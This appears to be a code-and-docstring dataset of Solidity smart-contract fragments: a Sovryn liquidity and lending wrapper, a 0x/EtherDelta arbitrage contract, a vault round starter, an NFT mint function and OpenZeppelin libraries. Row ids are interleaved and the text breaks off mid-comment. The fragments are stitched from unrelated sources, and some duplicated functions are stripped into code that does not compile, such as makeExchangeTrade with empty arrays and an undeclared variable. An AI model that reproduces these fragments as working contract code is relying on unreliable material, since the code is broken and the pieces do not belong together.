IERC20Token reserveToken = IERC20Token(_reserveAddress); ISmartToken _poolToken = _liquidityPoolConverter.poolToken(reserveToken); //wrap rbtc if required if(_reserveAddress == wrbtcTokenAddress){ require(_amount == msg.value, "The provided amount should be identical to msg.value"); IWrbtcERC20(wrbtcTokenAddress).deposit.value(_amount)(); } else{ reserveToken.transferFrom(msg.sender, address(this), _amount); } require(reserveToken.approve(_liquidityPoolConverterAddress, _amount), "token approval failed"); uint256 poolTokenAmount = _liquidityPoolConverter.addLiquidity(reserveToken, _amount, _minReturn); //deposit the pool tokens in the liquidity mining contract on the sender's behalf _poolToken.approve(address(liquidityMiningContract), poolTokenAmount); liquidityMiningContract.deposit(address(_poolToken), poolTokenAmount, msg.sender); emit LiquidityAdded(msg.sender, _amount, poolTokenAmount); return poolTokenAmount; } /** * @dev * The process: * 1.Accepts RBTC * 2.Sends RBTC to WRBTC contract in order to wrap RBTC to WRBTC * 3.Accepts reserve token and approve LiquidityPoolConverter to transfer * 4.Calls 'addLiquidity' on LiquidityPoolConverter contract * 5.Transfers pool tokens to user * * @param _liquidityPoolConverterAddress address of LiquidityPoolConverter contract * @param _reserveTokens address of each reserve token. The first element should be the address of WRBTC * @param _reserveAmounts amount of each reserve token. The first element should be the amount of RBTC * @param _minReturn minimum return-amount of reserve tokens * * @return amount of pool tokens minted */ function addLiquidityToV1( address _liquidityPoolConverterAddress, IERC20Token[] memory _reserveTokens, uint256[] memory _reserveAmounts, uint256 _minReturn ) public payable checkAddress(_liquidityPoolConverterAddress) returns(uint256) { require(address(_reserveTokens[0]) == wrbtcTokenAddress, "The first reserve token must be WRBTC"); require(_reserveAmounts[0] == msg.value, "The provided amount of RBTC should be identical to msg.value"); bool success; uint256 amount; ILiquidityPoolV1Converter _liquidityPoolConverter = ILiquidityPoolV1Converter(_liquidityPoolConverterAddress); ISmartToken _poolToken = ISmartToken(address(_liquidityPoolConverter.token())); uint32 reserveRatio_ = _liquidityPoolConverter.reserveRatio(); uint256 totalSupplyBefore = _poolToken.totalSupply(); uint256[] memory rsvBalances = new uint256[](_reserveTokens.length); IWrbtcERC20(wrbtcTokenAddress).deposit.value(_reserveAmounts[0])(); success = IWrbtcERC20(wrbtcTokenAddress).approve(_liquidityPoolConverterAddress, _reserveAmounts[0]); require(success, "Failed to approve converter to transfer WRBTC"); for (uint256 i = 1; i < _reserveTokens.length; i++) { success = IERC20Token(_reserveTokens[i]).transferFrom(msg.sender, address(this), _reserveAmounts[i]); require(success, "Failed to transfer reserve token from user"); success = IERC20Token(_reserveTokens[i]).approve(_liquidityPoolConverterAddress, _reserveAmounts[i]); require(success, "Failed to approve converter to transfer reserve token"); (rsvBalances[i], , , , ) = _liquidityPoolConverter.reserves(address(_reserveTokens[i])); } (rsvBalances[0], , , , ) = _liquidityPoolConverter.reserves(wrbtcTokenAddress); uint256 poolTokenAmountBefore = _poolToken.balanceOf(address(this)); _liquidityPoolConverter.addLiquidity(_reserveTokens, _reserveAmounts, _minReturn); uint256 poolTokenAmount = _poolToken.balanceOf(address(this)).sub(poolTokenAmountBefore); //deposit the pool tokens in the liquidity mining contract on the sender's behalf _poolToken.approve(address(liquidityMiningContract), poolTokenAmount); liquidityMiningContract.deposit(address(_poolToken), poolTokenAmount, msg.sender); for (uint256 i = 1; i < _reserveTokens.length; i++) { amount = _reserveAmounts[i].sub(ISovrynSwapFormula(addressOf(SOVRYNSWAP_FORMULA)).fundCost(totalSupplyBefore, rsvBalances[i], reserveRatio_, poolTokenAmount)); if (amount > 0) { success = _reserveTokens[i].transfer(msg.sender, amount); require(success, "Failed to transfer extra reserve token back to user"); } } amount = _reserveAmounts[0].sub(ISovrynSwapFormula(addressOf(SOVRYNSWAP_FORMULA)).fundCost(totalSupplyBefore, rsvBalances[0], reserveRatio_, poolTokenAmount)); if (amount > 0) { IWrbtcERC20(wrbtcTokenAddress).withdraw(amount); (success,) = msg.sender.call.value(amount)(""); require(success, "Failed to send extra RBTC back to user"); } emit LiquidityAddedToV1(msg.sender, _reserveTokens, _reserveAmounts, poolTokenAmount); return poolTokenAmount; } /** * @notice * Before calling this function to remove liquidity, users need approve this contract to be able to spend or transfer their pool tokens * * @dev * The process: * 1.Transfers pool tokens to this contract * 2.Calls 'removeLiquidity' on LiquidityPoolConverter contract * 3.Calls 'withdraw' on WRBTC contract in order to unwrap WRBTC to RBTC * 4.Sneds RBTC to user * * @param _liquidityPoolConverterAddress address of LiquidityPoolConverter contract * @param _reserveAddress address of the reserve to add to the pool * @param _amount amount of pool tokens to burn * @param _minReturn minimum return-amount of reserve tokens * * @return amount of liquidity removed also WRBTC unwrapped to RBTC */ function removeLiquidityFromV2( address _liquidityPoolConverterAddress, address _reserveAddress, uint256 _amount, uint256 _minReturn ) public checkAddress(_liquidityPoolConverterAddress) returns(uint256) { ILiquidityPoolV2Converter _liquidityPoolConverter = ILiquidityPoolV2Converter(_liquidityPoolConverterAddress); IERC20Token reserveToken = IERC20Token(_reserveAddress); ISmartToken _poolToken = _liquidityPoolConverter.poolToken(IERC20Token(_reserveAddress)); //withdraw always transfers the pool tokens to the caller and the reward tokens to the passed address liquidityMiningContract.withdraw(address(_poolToken), _amount, msg.sender); uint256 reserveAmount = _liquidityPoolConverter.removeLiquidity(_poolToken, _amount, _minReturn); if(_reserveAddress == wrbtcTokenAddress){ IWrbtcERC20(wrbtcTokenAddress).withdraw(reserveAmount); (bool success, ) = msg.sender.call.value(reserveAmount)(""); require(success, "Failed to send RBTC to the user"); } else{ require(reserveToken.transfer(msg.sender, reserveAmount), "Failed to transfer reserve tokens to the user"); } emit LiquidityRemoved(msg.sender, reserveAmount, _amount); return reserveAmount; } /** * @notice * Before calling this function to remove liquidity, users need approve this contract to be able to spend or transfer their pool tokens * * @dev * The process: * 1.Transfers pool tokens to this contract * 2.Calls 'removeLiquidity' on LiquidityPoolConverter contract * 3.Calls 'withdraw' on WRBTC contract in order to unwrap WRBTC to RBTC * 4.Sneds RBTC and/or other reserve tokens to user * * @param _liquidityPoolConverterAddress address of LiquidityPoolConverter contract * @param _amount amount of pool tokens to burn * @param _reserveTokens address of each reserve token. The first element should be the address of WRBTC * @param _reserveMinReturnAmounts minimum return-amount of each reserve token. The first element should be the minimum return-amount of WRBTC */ function removeLiquidityFromV1( address _liquidityPoolConverterAddress, uint256 _amount, IERC20Token[] memory _reserveTokens, uint256[] memory _reserveMinReturnAmounts ) public checkAddress(_liquidityPoolConverterAddress) { require(_amount > 0, "The amount should larger than zero"); require(address(_reserveTokens[0]) == wrbtcTokenAddress, "The first reserve token must be WRBTC"); uint256[] memory reserveAmounts = new uint256[](_reserveTokens.length); ILiquidityPoolV1Converter _liquidityPoolConverter = ILiquidityPoolV1Converter(_liquidityPoolConverterAddress); //withdraw always transfers the pool tokens to the caller and the reward tokens to the passed address liquidityMiningContract.withdraw(address(_liquidityPoolConverter.token()), _amount, msg.sender); uint256 lengthOfToken = _reserveTokens.length; uint256[] memory reserveAmountBefore = new uint256[](lengthOfToken); for (uint256 i = 0; i < lengthOfToken; i++) { reserveAmountBefore[i] = _reserveTokens[i].balanceOf(address(this)); } _liquidityPoolConverter.removeLiquidity(_amount, _reserveTokens, _reserveMinReturnAmounts); uint256 reserveAmount; bool successOfTransfer; for (uint256 i = 1; i < lengthOfToken; i++) { reserveAmount = _reserveTokens[i].balanceOf(address(this)).sub(reserveAmountBefore[i]); require(reserveAmount >= _reserveMinReturnAmounts[i], "min return too high"); reserveAmounts[i] = reserveAmount; successOfTransfer = IERC20Token(_reserveTokens[i]).transfer(msg.sender, reserveAmount); require(successOfTransfer, "Failed to transfer reserve token to user"); } uint256 wrbtcAmount = _reserveTokens[0].balanceOf(address(this)).sub(reserveAmountBefore[0]); require(wrbtcAmount >= _reserveMinReturnAmounts[0], "min return too high"); reserveAmounts[0] = wrbtcAmount; IWrbtcERC20(wrbtcTokenAddress).withdraw(wrbtcAmount); (bool successOfSendRBTC,) = msg.sender.call.value(wrbtcAmount)(""); require(successOfSendRBTC, "Failed to send RBTC to user"); emit LiquidityRemovedFromV1(msg.sender, _reserveTokens, reserveAmounts, _amount); } /** * @notice * Before calling this function to swap token to RBTC, users need approve this contract to be able to spend or transfer their tokens * * @param _path conversion path between two tokens in the network * @param _amount amount to convert from, in the source token * @param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be greater than zero * * @return amount of tokens received from the conversion */ function convertByPath( IERC20Token[] memory _path, uint256 _amount, uint256 _minReturn ) public payable returns(uint256) { ISovrynSwapNetwork _sovrynSwapNetwork = ISovrynSwapNetwork(sovrynSwapNetworkAddress); if (msg.value != 0) { require(_path[0] == IERC20Token(wrbtcTokenAddress), "Value may only be sent for WRBTC transfers"); require(_amount == msg.value, "The provided amount should be identical to msg.value"); IWrbtcERC20(wrbtcTokenAddress).deposit.value(_amount)(); bool successOfApprove = IWrbtcERC20(wrbtcTokenAddress).approve(sovrynSwapNetworkAddress, _amount); require(successOfApprove); uint256 _targetTokenAmount = _sovrynSwapNetwork.convertByPath(_path, _amount, _minReturn, msg.sender, address(0), 0); emit TokenConverted(msg.sender, _amount, _targetTokenAmount, _path); return _targetTokenAmount; } else { require(_path[_path.length-1] == IERC20Token(wrbtcTokenAddress), "It only could be swapped to WRBTC"); IERC20Token _token = IERC20Token(_path[0]); bool successOfTransferFrom = _token.transferFrom(msg.sender, address(this), _amount); require(successOfTransferFrom); bool successOfApprove = _token.approve(sovrynSwapNetworkAddress, _amount); require(successOfApprove); uint256 _targetTokenAmount = _sovrynSwapNetwork.convertByPath(_path, _amount, _minReturn, address(this), address(0), 0); IWrbtcERC20(wrbtcTokenAddress).withdraw(_targetTokenAmount); (bool successOfSendRBTC,) = msg.sender.call.value(_targetTokenAmount)(""); require(successOfSendRBTC, "Failed to send RBTC to user"); emit TokenConverted(msg.sender, _amount, _targetTokenAmount, _path); return _targetTokenAmount; } } /** * @notice provides funds to a lending pool and deposits the pool tokens into the liquidity mining contract. * @param loanTokenAddress the address of the loan token (aka lending pool) * @param depositAmount he amount of underlying tokens to deposit */ function addToLendingPool(address loanTokenAddress, uint256 depositAmount) public{ LoanToken loanToken = LoanToken(loanTokenAddress); IERC20Token underlyingAsset = IERC20Token(loanToken.loanTokenAddress()); //retrieve the underlying asset from the user require(underlyingAsset.transferFrom(msg.sender, address(this), depositAmount), "Failed to transfer tokens to the wrapper proxy"); //add the tokens to the lending pool underlyingAsset.approve(loanTokenAddress, depositAmount); uint256 minted = loanToken.mint(address(this), depositAmount); //deposit the pool tokens in the liquidity mining contract on the sender's behalf loanToken.approve(address(liquidityMiningContract), minted); liquidityMiningContract.deposit(loanTokenAddress, minted, msg.sender); emit LoanTokensMinted(msg.sender, minted, depositAmount); } /** * @notice removes funds from the liquidity mining contract, burns them on the lending pool and * provides the underlying asset to the user * @param loanTokenAddress the address of the loan token (aka lending pool) * @param burnAmount the amount of pool tokens to withdraw from the lending pool and burn */ function removeFromLendingPool(address loanTokenAddress, uint256 burnAmount) public{ LoanToken loanToken = LoanToken(loanTokenAddress); //withdraw always transfers the pool tokens to the caller and the reward tokens to the passed address liquidityMiningContract.withdraw(loanTokenAddress, burnAmount, msg.sender); //burn pool token and directly send underlying tokens to the receiver loanToken.approve(address(liquidityMiningContract), burnAmount); uint256 redeemed = loanToken.burn(msg.sender, burnAmount); emit LoanTokensBurnt(msg.sender, burnAmount, redeemed); } }
provides funds to a lending pool and deposits the pool tokens into the liquidity mining contract. loanTokenAddress the address of the loan token (aka lending pool) depositAmount he amount of underlying tokens to deposit/retrieve the underlying asset from the useradd the tokens to the lending pooldeposit the pool tokens in the liquidity mining contract on the sender's behalf
function addToLendingPool(address loanTokenAddress, uint256 depositAmount) public{ LoanToken loanToken = LoanToken(loanTokenAddress); IERC20Token underlyingAsset = IERC20Token(loanToken.loanTokenAddress()); require(underlyingAsset.transferFrom(msg.sender, address(this), depositAmount), "Failed to transfer tokens to the wrapper proxy"); underlyingAsset.approve(loanTokenAddress, depositAmount); uint256 minted = loanToken.mint(address(this), depositAmount); loanToken.approve(address(liquidityMiningContract), minted); liquidityMiningContract.deposit(loanTokenAddress, minted, msg.sender); emit LoanTokensMinted(msg.sender, minted, depositAmount); }
1,043,553
pragma solidity ^0.4.19; import { IExchange_v1 as Exchange } from "../Exchange/IExchange_v1.sol"; import { EtherDelta } from "../EtherDelta/EtherDelta.sol"; import { Ownable_v1 as Ownable } from "../Ownable/Ownable_v1.sol"; import { IToken_v1 as Token } from "../Token/IToken_v1.sol"; /// @title Arbitrage - Facilitates atomic arbitrage of ERC20 tokens between EtherDelta and 0x Exchange contract. /// @author Leonid Logvinov - <leo@0xProject.com> contract Arbitrage is Ownable { Exchange exchange; EtherDelta etherDelta; address proxyAddress; uint256 constant MAX_UINT = 2**256 - 1; function Arbitrage(address _exchangeAddress, address _etherDeltaAddress, address _proxyAddress) { exchange = Exchange(_exchangeAddress); etherDelta = EtherDelta(_etherDeltaAddress); proxyAddress = _proxyAddress; } /* * Makes token tradeable by setting an allowance for etherDelta and 0x proxy contract. * Also sets an allowance for the owner of the contracts therefore allowing to withdraw tokens. */ function setAllowances(address tokenAddress) external onlyOwner { Token token = Token(tokenAddress); token.approve(address(etherDelta), MAX_UINT); token.approve(proxyAddress, MAX_UINT); token.approve(owner, MAX_UINT); } /* * Because of the limits on the number of local variables in Solidity we need to compress parameters while loosing * readability. Scheme of the parameter layout: * * addresses * 0..4 orderAddresses * 5 user * * values * 0..5 orderValues * 6 fillTakerTokenAmount * 7 amountGet * 8 amountGive * 9 expires * 10 nonce * 11 amount * signature * exchange then etherDelta */ function makeAtomicTrade( address[6] addresses, uint[12] values, uint8[2] v, bytes32[2] r, bytes32[2] s ) external onlyOwner { makeExchangeTrade(addresses, values, v, r, s); makeEtherDeltaTrade(addresses, values, v, r, s); } function makeEtherDeltaTrade( address[6] addresses, uint[12] values, uint8[2] v, bytes32[2] r, bytes32[2] s ) internal { uint amount = values[11]; etherDelta.depositToken( addresses[2], // tokenGet === makerToken values[7] // amountGet ); etherDelta.trade( addresses[2], // tokenGet === makerToken values[7], // amountGet addresses[3], // tokenGive === takerToken values[8], // amountGive values[9], // expires values[10], // nonce addresses[5], // user v[1], r[1], s[1], amount ); etherDelta.withdrawToken( addresses[3], // tokenGive === tokenToken values[8] // amountGive ); } function makeExchangeTrade( address[6] addresses, uint[12] values, uint8[2] v, bytes32[2] r, bytes32[2] s ) internal { address[5] memory orderAddresses = [ addresses[0], // maker addresses[1], // taker addresses[2], // makerToken addresses[3], // takerToken addresses[4] // feeRecepient ]; uint[6] memory orderValues = [ values[0], // makerTokenAmount values[1], // takerTokenAmount values[2], // makerFee values[3], // takerFee values[4], // expirationTimestampInSec values[5] // salt ]; uint fillTakerTokenAmount = values[6]; // fillTakerTokenAmount // Execute Exchange trade. It either succeeds in full or fails and reverts all the changes. exchange.fillOrKillOrder(orderAddresses, orderValues, fillTakerTokenAmount, v[0], r[0], s[0]); } }
Execute Exchange trade. It either succeeds in full or fails and reverts all the changes.
function makeExchangeTrade( address[6] addresses, uint[12] values, uint8[2] v, bytes32[2] r, bytes32[2] s ) internal { address[5] memory orderAddresses = [ ]; uint[6] memory orderValues = [ ]; exchange.fillOrKillOrder(orderAddresses, orderValues, fillTakerTokenAmount, v[0], r[0], s[0]); }
1,085,833
./full_match/1/0xB09923cd48714286500300815F692052F8C5e293/sources/contracts/vaults/BaseVault.sol
@inheritdoc IVault/
function startRound() external virtual onlyRoundStarter returns (uint32) { if (!vaultState.isProcessingDeposits) revert IVault__NotProcessingDeposits(); vaultState.isProcessingDeposits = false; _afterRoundStart(); emit RoundStarted(vaultState.currentRoundId, vaultState.processedDeposits); vaultState.processedDeposits = 0; return vaultState.currentRoundId; }
4,995,793
./full_match/1/0x8Af7ABB1c69BF0A8D3b49b252fff2843596504A2/sources/contracts/sd.sol
Mints Samurai Doge/ If we haven't set the starting index and this is either 1) the last saleable token or 2) the first token to be sold after the end of pre-sale, set the starting index block
function primaryMintSamurai(uint numberOfTokens) public payable { require(primarySaleIsActive, "Sale must be active to mint Samurai Doges"); require(maxSamuraiPurchase > 0); require(numberOfTokens <= maxSamuraiPurchase, "Can only mint 5 tokens at a time"); require(totalSupply() <= primaryMintCycle); require(totalSupply().add(numberOfTokens) <= MAX_DOGES, "Purchase would exceed max supply of Samurai Doges"); require(samuraidogePrice.mul(numberOfTokens) <= msg.value, "Ether value sent is not correct"); for(uint i = 0; i < numberOfTokens; i++) { uint mintIndex = totalSupply(); if (totalSupply() <= primaryMintCycle) { _safeMint(msg.sender, mintIndex); } } if (startingIndexBlock == 0 && (totalSupply() == MAX_DOGES)) { startingIndexBlock = block.number; } }
8,381,738
/** *Submitted for verification at Etherscan.io on 2022-04-19 */ /** *Submitted for verification at Etherscan.io on 2022-04-18 */ /** *Submitted for verification at Etherscan.io on 2022-04-12 */ // SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC1155/IERC1155Receiver.sol) pragma solidity ^0.8.0; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** * @dev Handles the receipt of a single ERC1155 token type. This function is * called at the end of a `safeTransferFrom` after the balance has been updated. * * NOTE: To accept the transfer, this must return * `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` * (i.e. 0xf23a6e61, or its own function selector). * * @param operator The address which initiated the transfer (i.e. msg.sender) * @param from The address which previously owned the token * @param id The ID of the token being transferred * @param value The amount of tokens being transferred * @param data Additional data with no specified format * @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** * @dev Handles the receipt of a multiple ERC1155 token types. This function * is called at the end of a `safeBatchTransferFrom` after the balances have * been updated. * * NOTE: To accept the transfer(s), this must return * `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` * (i.e. 0xbc197c81, or its own function selector). * * @param operator The address which initiated the batch transfer (i.e. msg.sender) * @param from The address which previously owned the token * @param ids An array containing ids of each token being transferred (order and length must match values array) * @param values An array containing amounts of each token being transferred (order and length must match ids array) * @param data Additional data with no specified format * @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC1155/IERC1155.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an 